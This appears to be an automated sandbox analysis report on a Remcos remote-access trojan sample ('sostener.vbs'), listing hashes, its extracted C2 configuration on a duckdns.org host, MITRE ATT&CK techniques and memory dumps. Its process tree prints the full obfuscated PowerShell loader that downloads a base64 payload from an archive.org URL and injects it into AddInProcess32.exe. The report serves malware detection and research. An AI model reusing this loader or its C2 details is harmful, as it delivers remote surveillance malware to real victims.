remcos | fac857a7fa291be79831caef11498e067c036cd66812c7f1244b95b3e78a3ea4

Analysis

max time kernel
150s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
26-09-2024 08:59

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General

Target

sostener.vbs
Size

499KB
MD5

3b4164bdb4cf6c49570c95714f8c17a5
SHA1

13c7abef0333088056a8c11c951c97fcb878ad96
SHA256

fac857a7fa291be79831caef11498e067c036cd66812c7f1244b95b3e78a3ea4
SHA512

460bf20b6d30b4314703b67356828e540db80b43e3afc37ce2d075660370a4a306659075abe4a6895039df86316d95756441e40546d8d72daef7c5c11e7155ac
SSDEEP

12288:n9D/msDMDwwpZcKHg9NR4A6sgmkhf1dM4Y6ebu5Z2PqoKuN8HUe5FXNbSEKOsyTE:Sbqj

Score

10^/10

remcos matrix fenix*discovery execution rat

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://ia600100.us.archive.org/24/items/detah-note-v/DetahNoteV.txt

exe.dropper

https://ia600100.us.archive.org/24/items/detah-note-v/DetahNoteV.txt

Extracted

Family

remcos

Botnet

Matrix Fenix*

newssssssssssssss.duckdns.org:2404

Attributes

audio_folder
MicRecords
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
registros.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-XDNGQ0
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Capturas de pantalla
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos

Blocklisted process makes network request 2 IoCs

flow	pid	Process
8	2896	powershell.exe
20	2896	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
904	powershell.exe
2896	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-355097885-2402257403-2971294179-1000\Control Panel\International\Geo\Nation	WScript.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2896 set thread context of 3640	2896	powershell.exe	85

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	AddInProcess32.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
904	powershell.exe
904	powershell.exe
2896	powershell.exe
2896	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	904	powershell.exe
Token: SeDebugPrivilege	2896	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
3640	AddInProcess32.exe

Suspicious use of WriteProcessMemory 16 IoCs

description	pid	Process	procid_target
PID 1120 wrote to memory of 904	1120	WScript.exe	82
PID 1120 wrote to memory of 904	1120	WScript.exe	82
PID 904 wrote to memory of 2896	904	powershell.exe	84
PID 904 wrote to memory of 2896	904	powershell.exe	84
PID 2896 wrote to memory of 3640	2896	powershell.exe	85
PID 2896 wrote to memory of 3640	2896	powershell.exe	85
PID 2896 wrote to memory of 3640	2896	powershell.exe	85
PID 2896 wrote to memory of 3640	2896	powershell.exe	85
PID 2896 wrote to memory of 3640	2896	powershell.exe	85
PID 2896 wrote to memory of 3640	2896	powershell.exe	85
PID 2896 wrote to memory of 3640	2896	powershell.exe	85
PID 2896 wrote to memory of 3640	2896	powershell.exe	85
PID 2896 wrote to memory of 3640	2896	powershell.exe	85
PID 2896 wrote to memory of 3640	2896	powershell.exe	85
PID 2896 wrote to memory of 3640	2896	powershell.exe	85
PID 2896 wrote to memory of 3640	2896	powershell.exe	85

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\sostener.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1120
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'LiAoKGdldC1WQVJJQWJMZSAnKk1EcionKS5OYU1lWzMsMTEsMl0tSm9JbicnKSAoKCgnazgnKydmdScrJ3InKydsID0gYzlJaHR0cHM6Ly9pYScrJzYwMDEwMC51cy4nKydhJysncmNoaXZlJysnLm9yZy8yNC9pdGVtcy9kZXRhaC1ub3RlLXYvRGV0YScrJ2hOb3RlVi50eHRjJysnOUk7azhmYicrJ2FzJysnZTY0Q29udCcrJ2VudCA9ICcrJyhOJysnZXctTycrJ2JqZWN0JysnIFN5c3RlbScrJy5OZXQuV2ViQ2xpZW50KS4nKydEb3dubG9hZCcrJ1N0JysncmluJysnZyhrOGZ1cmwpJysnO2snKyc4ZmJpbmEnKydyeUMnKydvbnRlbnQgPScrJyBbJysnU3knKydzdGVtLkMnKydvbnYnKydlJysncnRdOicrJzpGcm9tQmFzZScrJzY0U3RyaW5nKGs4ZmJhc2U2NEMnKydvbnQnKydlbnQnKycpO2s4ZmFzc2VtYmx5ID0gWycrJ1JlZmxlY3Rpb24uQXNzZW1ibHldJysnOjonKydMb2FkKCcrJ2s4ZicrJ2JpbmFyeUNvbnQnKydlbnQpO2s4ZicrJ3R5cGUgJysnPScrJyBrOGZhc3NlbScrJ2JsJysneS4nKydHZXRUeXAnKydlJysnKGM5JysnSVJ1blBFLkgnKydvbWVjOUkpOycrJ2s4ZicrJ21ldGhvZCA9ICcrJ2snKyc4ZnR5cGUnKycuR2V0TWV0JysnaG9kKGM5SVZBSWM5SSk7JysnazhmbWV0aG9kLkludicrJ29rZShrOGZudWxsLCcrJyBbb2InKydqZScrJ2N0W11dQChjOUkwL29Tc2tXL2QvZWUuJysnZScrJ3RzYXAvLycrJzpzcHR0aGM5SSAsJysnIGM5JysnSWQnKydlcycrJ2F0aXYnKydhZCcrJ29jOUknKycgJysnLCBjOUknKydkZXNhdGknKyd2YWRvYzknKydJICwgYzknKydJZGVzJysnYXRpdmFkb2M5SSxjJysnOUlBZGRJblByb2Nlc3MzMmM5SSxjOUljOUkpJysnKScpICAtY1JFcGxBQ0UgKFtDSGFSXTk5K1tDSGFSXTU3K1tDSGFSXTczKSxbQ0hhUl0zOSAgLXJFcExBY0UnazhmJyxbQ0hhUl0zNikgKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:904
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command ". ((get-VARIAbLe '*MDr*').NaMe[3,11,2]-JoIn'') ((('k8'+'fu'+'r'+'l = c9Ihttps://ia'+'600100.us.'+'a'+'rchive'+'.org/24/items/detah-note-v/Deta'+'hNoteV.txtc'+'9I;k8fb'+'as'+'e64Cont'+'ent = '+'(N'+'ew-O'+'bject'+' System'+'.Net.WebClient).'+'Download'+'St'+'rin'+'g(k8furl)'+';k'+'8fbina'+'ryC'+'ontent ='+' ['+'Sy'+'stem.C'+'onv'+'e'+'rt]:'+':FromBase'+'64String(k8fbase64C'+'ont'+'ent'+');k8fassembly = ['+'Reflection.Assembly]'+'::'+'Load('+'k8f'+'binaryCont'+'ent);k8f'+'type '+'='+' k8fassem'+'bl'+'y.'+'GetTyp'+'e'+'(c9'+'IRunPE.H'+'omec9I);'+'k8f'+'method = '+'k'+'8ftype'+'.GetMet'+'hod(c9IVAIc9I);'+'k8fmethod.Inv'+'oke(k8fnull,'+' [ob'+'je'+'ct[]]@(c9I0/oSskW/d/ee.'+'e'+'tsap//'+':sptthc9I ,'+' c9'+'Id'+'es'+'ativ'+'ad'+'oc9I'+' '+', c9I'+'desati'+'vadoc9'+'I , c9'+'Ides'+'ativadoc9I,c'+'9IAddInProcess32c9I,c9Ic9I)'+')') -cREplACE ([CHaR]99+[CHaR]57+[CHaR]73),[CHaR]39 -rEpLAcE'k8f',[CHaR]36) )"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2896
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of SetWindowsHookEx
      PID:3640

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\ProgramData\remcos\registros.dat

Filesize
144B

MD5
7bc442434fbfba48ff9f5bc33ceed245

SHA1
b4e6937cc4b392f9172fcd702587827a9c67ed09

SHA256
404b404fba0075982ab526544b5bbdd222b997ba0ba74f7d3a38216dd45c3df3

SHA512
0030e01db4d7162d42e9f020c3112c048c39a7fa483f9f89eb849c083be97b6c207f013a10a648572bf416bee2207005e170119a8a483e5ed201d6f684fd448e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
f41839a3fe2888c8b3050197bc9a0a05

SHA1
0798941aaf7a53a11ea9ed589752890aee069729

SHA256
224331b7bfae2c7118b187f0933cdae702eae833d4fed444675bd0c21d08e66a

SHA512
2acfac3fbe51e430c87157071711c5fd67f2746e6c33a17accb0852b35896561cec8af9276d7f08d89999452c9fb27688ff3b7791086b5b21d3e59982fd07699

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
1a11402783a8686e08f8fa987dd07bca

SHA1
580df3865059f4e2d8be10644590317336d146ce

SHA256
9b1d1b468932a2d88548dc18504ac3066f8248079ecb083e919460bdb88398c0

SHA512
5f7f9f76d9d12a25fdc5b8d193391fb42c37515c657250fe01a9bfd9fe4cc4eab9d5ec254b2596ac1b9005f12511905f19fdae41f057062261d75bd83254b510

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0qbz31vs.ypa.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/904-0-0x00007FF9B8FE3000-0x00007FF9B8FE5000-memory.dmp

Filesize
8KB

Download
memory/904-6-0x0000017EB8EC0000-0x0000017EB8EE2000-memory.dmp

Filesize
136KB

Download
memory/904-11-0x00007FF9B8FE0000-0x00007FF9B9AA1000-memory.dmp

Filesize
10.8MB

Download
memory/904-12-0x00007FF9B8FE0000-0x00007FF9B9AA1000-memory.dmp

Filesize
10.8MB

Download
memory/904-30-0x00007FF9B8FE0000-0x00007FF9B9AA1000-memory.dmp

Filesize
10.8MB

Download
memory/2896-22-0x0000021EBA400000-0x0000021EBA60C000-memory.dmp

Filesize
2.0MB

Download
memory/3640-65-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3640-73-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3640-31-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3640-34-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3640-35-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3640-36-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3640-37-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3640-39-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3640-40-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3640-42-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3640-43-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3640-45-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3640-46-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3640-47-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3640-49-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3640-50-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3640-51-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3640-53-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3640-54-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3640-56-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3640-57-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3640-59-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3640-60-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3640-61-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3640-63-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3640-64-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3640-23-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3640-67-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3640-69-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3640-70-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3640-71-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3640-26-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3640-74-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3640-76-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3640-77-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3640-79-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3640-80-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3640-81-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3640-83-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3640-84-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3640-85-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3640-87-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3640-88-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3640-90-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3640-91-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3640-92-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3640-94-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3640-95-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3640-97-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3640-98-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3640-99-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3640-101-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3640-102-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3640-104-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3640-105-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3640-106-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3640-108-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3640-109-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3640-111-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3640-112-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3640-113-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3640-115-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download